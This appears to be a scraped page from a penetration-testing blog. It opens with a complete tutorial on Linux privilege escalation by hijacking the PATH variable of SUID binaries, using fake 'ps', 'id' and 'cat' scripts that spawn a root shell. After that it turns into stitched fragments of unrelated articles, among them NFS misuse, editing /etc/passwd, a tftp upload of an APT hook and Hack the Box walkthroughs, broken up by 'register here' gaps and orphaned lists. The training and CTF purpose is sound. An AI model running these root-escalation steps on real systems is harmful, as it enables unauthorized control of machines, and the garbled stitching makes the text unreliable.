After solving several OSCP Challenges, we have decided to write an article on the various methods used for Linux privilege escalation, that can be helpful for our readers in their penetration testing project. In this article, we will learn “various methods to manipulate $PATH variable” to gain root access of a remote host machine and the techniques used by CTF challenges to generate $PATH vulnerability that leads to Privilege escalation. If you have solved CTF challenges for Post exploit then by reading this article you will realize the several loopholes that lead to privileges escalation.
Let’s Start!!
Introduction
PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories that hold all executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with the help of PATH Variable in response to commands executed by a user. The superuser also usually has /sbin and /usr/sbin entries for easily executing system administration commands.
It is very simple to view the Path of the relevant user with help of echo command.
echo $PATH
1
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
If you notice ‘.’ in environment PATH variable it means that the logged user can execute binaries/scripts from the current directory and it can be an excellent technique for an attacker to escalate root privilege. This is due to lack of attention while writing program thus admin does not specify the full path to the program.
Method 1
Ubuntu LAB SET_UP
Currently, we are in /home/raj directory where we will create a new directory with the name as the script. Now inside the script directory, we will write a small c program to call a function of system binaries.
pwd
mkdir script
cd script
nano demo.c
1
2
3
4
pwd
mkdir script
cd script
nano demo.c

As you can observe in our demo.c file we are calling ps command (Process status) which is system binaries.

After then compile the demo.c file using gcc and promote SUID permission to the compiled file.
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
1
2
3
4
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

Privilege Escalation
First, you need to compromise the target system and then move to the privilege escalation phase. Suppose you successfully login into the victim’s machine through ssh. Then without wasting your time search for the file having SUID or 4000 permission with help of Find command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Hence with the help of above command, an attacker can enumerate any executable file, here we can also observe /home/raj/script/shell having suid permissions.

Then we move into /home/raj/script and saw an executable file “shell”. So we run this file, and here it looks like this file is trying to run ps and this is a genuine file inside /bin to get Process status.
ls
./shell
1
2
ls
./shell

Echo Command -1st Technique to spawn root privilege

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

Copy Command -2nd Technique to spawn root privilege

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
1
2
3
4
5
6
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami

Symlink command -3rd Technique to spawn root privilege

ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
1
2
3
4
5
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
NOTE: symlink is also known as symbolic links that will work successfully if the directory has full permission. In Ubuntu, we had given permission 777 to /script directory in the case of a symlink.
Thus we saw to an attacker can manipulate environment variable PATH for privileges escalation and gain root access.

Method 2
Ubuntu LAB SET_UP
Repeat the same steps as above for configuring your own lab and now inside script directory, we will write a small c program to call a function of system binaries.
pwd
mkdir script
cd /script
nano test.c
1
2
3
4
pwd
mkdir script
cd /script
nano test.c
As you can observe in our test.c file we are calling id command which is system binaries.

After then compile the test.c file using gcc and promote SUID permission to the compiled file.
ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2
1
2
3
4
ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2

Privilege Escalation
Again, you need to compromise the target system and then move to the privilege escalation phase. Suppose you successfully login into the victim’s machine through ssh. Then without wasting your time search for the file having SUID or 4000 permission with help of Find command. Here we can also observe /home/raj/script/shell2 having suid permissions.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Then we move into /home/raj/script and saw an executable file “shell2”. So we run this file, it looks like the file shell2 is trying to run id and this is a genuine file inside /bin.
cd /home/raj/script/
ls
./shell2
1
2
3
cd /home/raj/script/
ls
./shell2

Echo command

cd /tmp
echo "/bin/bash" > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/bash" > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

Method 3
Ubuntu LAB SET_UP
Repeat above step for setting your own lab and as you can observe in our raj.c file we are calling cat command to read the content from inside etc/passwd file.

After then compile the raj.c file using gcc and promote SUID permission to the compiled file.
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj
1
2
3
4
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj

Privilege Escalation
Again compromised the Victim’s system and then move for privilege escalation phase and execute the below command to view sudo user list.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we can also observe /home/raj/script/raj having suid permissions, then we move into /home/raj/script and saw an executable file “raj”. So when we run this file it put-up etc/passwd file as result.
cd /home/raj/script/
ls
./raj
1
2
3
cd /home/raj/script/
ls
./raj

Nano Editor – 4th Technique to Privilege Escalation

cd /tmp
nano cat
1
2
cd /tmp
nano cat
Now type /bin/bash when terminal get open and save it.

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
1
2
3
4
5
6
7
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

Method 4
Ubuntu LAB SET_UP
Repeat above step for setting your own lab and as you can observe in our demo.c file we are calling cat command to read msg.txt which is inside /home/raj but there is no such file inside /home/raj.

After then compile the demo.c file using gcc and promote SUID permission to the compiled file.
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
1
2
3
4
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

Privilege Escalation
Once again compromised the Victim’s system and then move for privilege escalation phase and execute the below command to view sudo user list.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we can also observe /home/raj/script/ignite having suid permissions, then we move into /home/raj/script and saw an executable file “ignite”. So when we run this file it put-up an error “cat: /home/raj/msg.txt” as result.
cd /home/raj/script/
ls
./ignite
1
2
3
cd /home/raj/script/
ls
./ignite

Vi Editor -5th Technique to Privilege Escalation

cd /tmp
vi cat
1
2
cd /tmp
vi cat
Now type /bin/bash when the terminal gets open and saves it.

chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
1
2
3
4
5
6
chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami


After solving several OSCP Challenges we decided to write an article on the various methods used for Linux privilege escalation, which can be helpful for our readers in their penetration testing projects. In this article, we will learn how to exploit a misconfigured NFS share to gain root access to a remote host machine.
Table of Contents
Introduction of NFS
Misconfigured NFS Lab setup
Scanning NFS shares

• Nmap script
  
• showmount
  

• Obtain a shadow file
  
• Obtain passwd file
  
• Obtain sudoers file
  

• rw: Permit clients to read as well as write access to the shared directory.
  
• ro: Permit clients to Read-only access to shared directory..
  
• root_squash: This option Prevents file request made by user root on the client machine because NFS shares change the root user to the nfsnobody user, which is an unprivileged user account.
  
• no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implication.
  
• async: It will speed up transfers but can cause data corruption as NFS server doesn’t wait for the complete write operation to be finished on the stable storage, before replying to the client.
  
• sync:  The sync option does the inverse of async option where the NFS server will reply to the client only after the data is finally written to the stable storage.
  

1. (ALL:ALL) can also represent as (ALL)
   
2. If you found (root) in place of (ALL:ALL) then it denotes that user can run the command as root.
   
3. If nothing is a mention for user/group then it means sudo defaults to the root user.
   

• Network Scanning
  
• Enumeration
  
• Exploiting Script Console Groovy
  
• Capture the user.txt
  
• Privilege Escalation
  
• Capture the root.txt Flag
  

Today we are going to take one another CTF challenge known as Trollcave. The credit for making this VM machine goes to “David Yates” and it is another boot to root challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM from

[To see content please register here]

• Network Scanning (Nmap, netdiscover)
  
• Information gathering:
  
• Examining the Web Application  framework (Ruby on Rails)
  
• Mutable User IDs from 1 to 17 to confirm King’s page for super admin’s Account
  
• Abusing Rails default directory for password reset (Google)
  
• Exploiting IDOR  to reset Password for King’s Account
  
• Login into super admin console (King’s account)
  
• Explore the file manager tab  and enable the uploading option
  
• Generate SSH RSA key without password
  
• Upload RSA key
  
• Pwn tty shell by ssh login
  
• Kernel privilege escalation (searchsploit)
  
• Encode exploit with base64
  
• Transfer in the victim’s machine and decode it.
  
• Run the kernel exploits and Gain root access
  
• Capture the flag and Finished the challenge
  

• Network Scanning
  
• Enumeration
  
• Exploiting 
  
• Privilege Escalation
  
• Capture root.txt file
  

• /denotes  start from the top (root) of the file system and find every directory
  
• -perm denotes search for the permissions that follow
  
• -u=sdenotes look for files that are owned by the root user
  
• -typestates the type of file we are looking for
  
• f denotes a regular file, not the directories or special files
  
• 2 denotes to the second file descriptor of the process, i.e. stderr (standard error)
  
• > means redirection
  
• /dev/null is a special filesystem object that throws away everything written into it.
  

In this article, we will learn “Various methods to alter etc/passwd file to create or modify a user for root privileges”. Sometimes, it is necessary to know ‘how to edit your own user for privilege escalation in the machine’ inside /etc/passwd file, once the target is compromised. You can read our previous article where we had applied this trick for privilege escalation. Open the  links given below:

[To see content please register here]

[To see content please register here]

echo 'APT::Update:re-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > rootshell
tftp 192.168.0.1
put rootshell /etc/apt/apt.conf.d/rootshell
quit
ssh [email protected]
1
2
3
4
5
echo 'APT::Update:re-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > rootshell
tftp 192.168.0.1
put rootshell /etc/apt/apt.conf.d/rootshell
quit
ssh [email protected]

Hello friends!! Today we are going to solve another CTF challenge “Kotarak” which is available online for those who want to increase their skill in penetration testing and black box testing. Kotarak is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Hard
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.55 so let’s begin with nmap port enumeration.
nmap -p- -A 10.10.10.55 --open
1
nmap -p- -A 10.10.10.55 --open
From given below image, you can observe we found port 22, 8009, 8080, 60000 are open in victim’s network.

As port 8080 and 60000 are running HTTP, we open the IP in our browser and access the page through port 8080. As soon as we open the ip in our browser we get a tomcat authentication prompt asking for username and password.

When we access the target machine through port 60000, we find a page that is hosted on the machine can be used to access the internet.

Now we need to use the dirb tool to enumerate the directories of the target machine.
dirb

[To see content please register here]

Hello friends! Today we are going to discuss what is Port redirecting/ forwarding? We will also discuss the necessary steps to access the network traffic through firewall restricted port.
Table of Content:

• What is a port redirecting?
  
• Why do we need port redirection?
  
• Requirements
  
• Implementing firewalls
  
• HTTP port redirection
  

• Windows operating system (Workstation machine) holding IP: 192.168.1.102
  
• Windows operating system (Remote server) holding IP: 192.168.1.114
  
• Linux operating system (proxy server) holding IP: 192.168.1.125
  

• Bind address: Proxy server IP: 192.168.1.125 (Home PC)
  
• Bind port: 80
  
• Connect address: RDP server IP: 192.168.1.114
  
• Connect port: 3389
  

• Linux operating system (Workstation machine) holding IP: 192.168.1.128
  
• Ubuntu operating system (web server) holding IP: 192.168.1.110
  
• Linux operating system (proxy server) holding IP: 192.168.1.132
  

• Bind address: Proxy server IP: 192.168.1.132 (Home PC)
  
• Bind port: 80
  
• Connect address: RDP server IP: 192.168.1.110
  
• Connect port: 8080
  

Hello friends!! Today we are going to solve another CTF challenge “Bank” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much tough until you don’t have the correct knowledge of Penetration testing. Let start and learn how to breach a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Bank is 10.10.10.29 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.29
1
nmap -A 10.10.10.29
From given below image, you can observe we found ports 22, 53 and 80 are open in victim’s network. As you have seen in our all previous lab that we love to explore target IP via port 80 on our web browser, similarly we follow that tradition in this also but Bad Luck!! this time it didn’t work at all.

Now the last option was to add target IP inside /etc/host file since port 53 was open for the domain and as it is a challenge of hack the box thus I edit bank.htb as a domain name.

Then I explore the domain name: bank.htb through the web browser and found following login page as shown below.

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on

[To see content please register here]

• FTP Anonymous login allowed
  
• Found a directory /backup WordPress with help of txt
  

[To see content please register here]

[To see content please register here]

[To see content please register here]

[To see content please register here]

[To see content please register here]

Hello friends!! Today we are going to solve another CTF challenge “Shocker” which is lab presented by Hack the Box for making online penetration practices according to your experience level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Shocker lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s Breach!!!
Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.
nmap -A 10.10.10.56
1
nmap -A 10.10.10.56
Awesome!! Nmap has done a remarkable job by dumping the details of services running on open port 80, 2222.

Knowing port 80 is open on the victim’s network we preferred to explore his IP in the browser and the following image as shown below.

Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /cgi-bin, index.html, server-status
dirb

[To see content please register here]